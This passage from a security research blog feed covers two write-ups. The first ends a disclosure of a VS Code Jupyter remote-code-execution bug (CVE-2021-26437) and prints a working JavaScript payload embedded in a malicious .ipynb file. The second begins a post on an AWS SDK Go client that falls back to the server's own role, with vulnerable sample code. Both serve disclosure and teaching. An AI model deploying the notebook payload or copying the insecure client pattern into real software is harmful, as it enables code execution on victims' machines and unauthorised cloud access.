        &lt;span class=&quot;nx&quot;&gt;location&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;href&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;repoloc&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;poc.html&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;top&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;postMessage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;({&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;target&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;location&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;href&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;split&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;channel&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;do-reload&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;To deliver this payload inside the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.ipynb&lt;/code&gt; file we still need to overcome one last limitation: the current implementation results in a malformed JSON. The injection happens within a JSON file (double-quoted) and our Javascript payload contains quoted strings as well as double-quotes used as a delimiter for the regular expression that is extracting the path.&lt;/p&gt;

&lt;p&gt;After a bit of tinkering, the easiest solution involves the backtick ` character instead of the quote for all JS strings.&lt;/p&gt;

&lt;p&gt;The final &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pocimg.ipynb&lt;/code&gt; file looks like:&lt;/p&gt;

&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;cells&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;cell_type&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;code&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;execution_count&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;source&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[],&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;outputs&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
          &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;output_type&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;display_data&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
          &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;data&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;text/markdown&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&amp;lt;img src='a445fff1d9fd4f3fb97b75202282c992.png' onload='var apploc = `/Applications/Visual Studio Code.app/Contents/Resources/app/`.replace(/ /g, `%20`);var repoloc;window.top.frames[0].onmessage = event =&amp;gt; {if(event.data.args.contents &amp;amp;&amp;amp; event.data.args.contents.includes(`&amp;lt;base href`)){var leakloc = event.data.args.contents.match(`&amp;lt;base href=&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;(.*)&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;`)[1];var repoloc = leakloc.replace(`https://file%2B.vscode-resource.vscode-webview.net`,`vscode-file://vscode-app`+apploc+`..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..`);setTimeout(async()=&amp;gt;console.log(repoloc+`poc.html`), 3000);location.href=repoloc+`poc.html`;}};window.top.postMessage({target: window.location.href.split(`/`)[2],channel: `do-reload`}, `*`);'&amp;gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;By opening a malicious repository with this file, we can finally trigger our code execution.&lt;/p&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
	&lt;video controls=&quot;&quot; src=&quot;../../../public/images/VScodeJupyterRCE.mp4&quot; title=&quot;ElectroNG Product Demo&quot; autoplay=&quot;&quot; muted=&quot;&quot; loop=&quot;true&quot; playsinline=&quot;&quot; align=&quot;center&quot; style=&quot;max-width: 100%; padding: 5px; border-radius: 10px; display: inline-block; margin-left: auto; margin-right: auto;&quot; poster=&quot;../../../public/images/VScodeJupyterRCE.png&quot;&gt;&lt;/video&gt;
&lt;/div&gt;
&lt;p&gt;&lt;br /&gt;
The built-in Jupyter Notebook extension opts out of the protections given by the &lt;em&gt;Workspace Trust&lt;/em&gt; feature introduced in Visual Studio Code 1.57, hence no further user interaction is required. For the record, this issue was fixed in VScode 1.59.1 and Microsoft assigned &lt;a href=&quot;https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26437&quot;&gt;CVE-2021-26437&lt;/a&gt; to it.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>The Danger of Falling to System Role in AWS SDK Client</title>
   <link href="https://blog.doyensec.com/2022/10/18/cloudsectidbit-dataimport.html"/>
   <updated>2022-10-18T00:00:00+02:00</updated>
   <id>https://blog.doyensec.com/2022/10/18/cloudsectidbit-dataimport</id>
   <content type="html">&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/cloudsectidbit-logo200.png&quot; alt=&quot;CloudsecTidbit&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 500px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;h2 id=&quot;introduction-to-the-series&quot;&gt;Introduction to the series&lt;/h2&gt;

&lt;p&gt;When it comes to Cloud Security, the first questions usually asked are:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;How is the infrastructure configured?&lt;/li&gt;
  &lt;li&gt;Are there any public buckets?&lt;/li&gt;
  &lt;li&gt;Are the VPC networks isolated?&lt;/li&gt;
  &lt;li&gt;Does it use proper IAM settings?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;As application security engineers, we think that there are more interesting and context-related questions such as:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Which services provided by the cloud vendor are used?&lt;/li&gt;
  &lt;li&gt;Among the used services, which ones are directly integrated within the web platform logic?&lt;/li&gt;
  &lt;li&gt;How is the web application using such services?&lt;/li&gt;
  &lt;li&gt;How are they combined to support the internal logic?&lt;/li&gt;
  &lt;li&gt;Is the usage of services ever exposed or reachable by the end-user?&lt;/li&gt;
  &lt;li&gt;Are there any unintended behaviors caused by cloud services within the web platform?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;By answering these questions, &lt;strong&gt;we usually find bugs&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Today we introduce the “&lt;strong&gt;CloudSecTidbits&lt;/strong&gt;” series to share ideas and knowledge about such questions.&lt;/p&gt;

&lt;p&gt;CloudSec Tidbits is a blogpost series showcasing interesting bugs found by Doyensec during cloud security testing activities. We’ll focus on times when the cloud infrastructure is properly configured, but the web application fails to use the services correctly.&lt;/p&gt;

&lt;p&gt;Each blogpost will discuss a specific vulnerability resulting from an insecure combination of web and cloud related technologies. Every article will include an &lt;a href=&quot;https://github.com/doyensec/cloudsec-tidbits/&quot;&gt;Infrastructure as Code (IaC) laboratory&lt;/a&gt; that can be easily deployed to experiment with the described vulnerability.&lt;/p&gt;

&lt;h2 id=&quot;tidbit--1---the-danger-of-falling-to-system-role-in-aws-sdk-client&quot;&gt;Tidbit # 1 - The Danger of Falling to System Role in AWS SDK Client&lt;/h2&gt;

&lt;p&gt;Amazon Web Services offers a comprehensive SDK to interact with their cloud services.&lt;/p&gt;

&lt;p&gt;Let’s first examine how credentials are configured. The AWS SDKs require users to pass access / secret keys in order to authenticate requests to AWS. Credentials can be specified in different ways, depending on the different use cases.&lt;/p&gt;

&lt;p&gt;When the AWS client is initialized without directly providing the credential’s source, the AWS SDK acts using a clearly defined logic. The AWS SDK uses a different credential provider chain depending on the base language. The credential provider chain is an ordered list of sources where the AWS SDK will attempt to fetch credentials from. The first provider in the chain that returns credentials without an error will be used.&lt;/p&gt;

&lt;p&gt;For example, the SDK for the Go language will use the following chain:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;1) Environment variables&lt;/li&gt;
  &lt;li&gt;2) Shared credentials file&lt;/li&gt;
  &lt;li&gt;3) If the application uses ECS task definition or RunTask API operation, IAM role for tasks&lt;/li&gt;
  &lt;li&gt;4) If the application is running on an Amazon EC2 instance, IAM role for Amazon EC2&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The code snippet below shows how the SDK retrieves the first valid credential provider:&lt;/p&gt;

&lt;p&gt;Source: &lt;a href=&quot;https://github.com/aws/aws-sdk-go/blob/bef02444773a49eaf30cdd615920b56896827c06/aws/credentials/chain_provider.go#L67&quot; target=&quot;_blank&quot;&gt;aws-sdk-go/aws/credentials/chain_provider.go&lt;/a&gt;&lt;/p&gt;

&lt;div class=&quot;language-go highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;// Retrieve returns the credentials value or error if no provider returned&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;// without error.&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;//&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;// If a provider is found it will be cached and any calls to IsExpired()&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;// will return the expired state of the cached provider.&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;func&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;c&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ChainProvider&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Retrieve&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;errs&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;error&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;range&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Providers&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;creds&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Retrieve&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;nil&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
			&lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;curr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;
			&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;creds&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;nil&lt;/span&gt;
		&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;errs&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;append&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;errs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;curr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;nil&lt;/span&gt;

	&lt;span class=&quot;k&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;error&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ErrNoValidProvidersFoundInChain&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;VerboseErrors&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;awserr&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;NewBatchError&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;NoCredentialProviders&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;no valid providers in chain&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;errs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{},&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;After that first look at AWS SDK credentials, we can jump straight to the tidbit case.&lt;/p&gt;

&lt;h3 id=&quot;insecure-aws-sdk-client-initialization-in-user-facing-functionalities---the-import-from-s3-case&quot;&gt;Insecure AWS SDK Client Initialization In User Facing Functionalities - The Import From S3 Case&lt;/h3&gt;

&lt;p&gt;By testing several web platforms, we noticed that data import from external cloud services is an often recurring functionality. For example, some web platforms allow data import from third-party cloud storage services (e.g., AWS S3).&lt;/p&gt;

&lt;p&gt;In this specific case, we will focus on a vulnerability identified in a web application that was using the AWS SDK for Go (v1) to implement an “Import Data From S3” functionality.&lt;/p&gt;

&lt;p&gt;The user was able to make the platform fetch data from S3 by providing the following inputs:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;S3 bucket name - Import from public source case;&lt;/p&gt;

    &lt;p&gt;&lt;strong&gt;OR&lt;/strong&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;S3 bucket name + AWS Credentials - Import from private source case;&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The code paths were handled by a function similar to the following structure:&lt;/p&gt;

&lt;div class=&quot;language-go highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;func&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;getObjectsList&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;session&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Session&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;config&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;aws&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Config&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bucket_name&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;

	&lt;span class=&quot;c&quot;&gt;//initilize or re-initilize the S3 client&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;S3svc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s3&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;New&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;session&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;config&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

	&lt;span class=&quot;n&quot;&gt;objectsList&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;S3svc&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ListObjectsV2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s3&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ListObjectsV2Input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
			&lt;span class=&quot;n&quot;&gt;Bucket&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;  &lt;span class=&quot;n&quot;&gt;bucket_name&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;})&lt;/span&gt;

	&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;objectsList&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;func&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;importData&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;req&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Request&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;success&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;bool&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;

	&lt;span class=&quot;n&quot;&gt;srcConfig&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;aws&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Config&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;Region&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;config&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Config&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;AWS&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Region&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

	&lt;span class=&quot;n&quot;&gt;req&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ParseForm&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;bucket_name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;req&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Form&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;bucket_name&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;accessKey&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;req&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Form&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;access_key&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;secretKey&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;req&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Form&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;secret_key&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
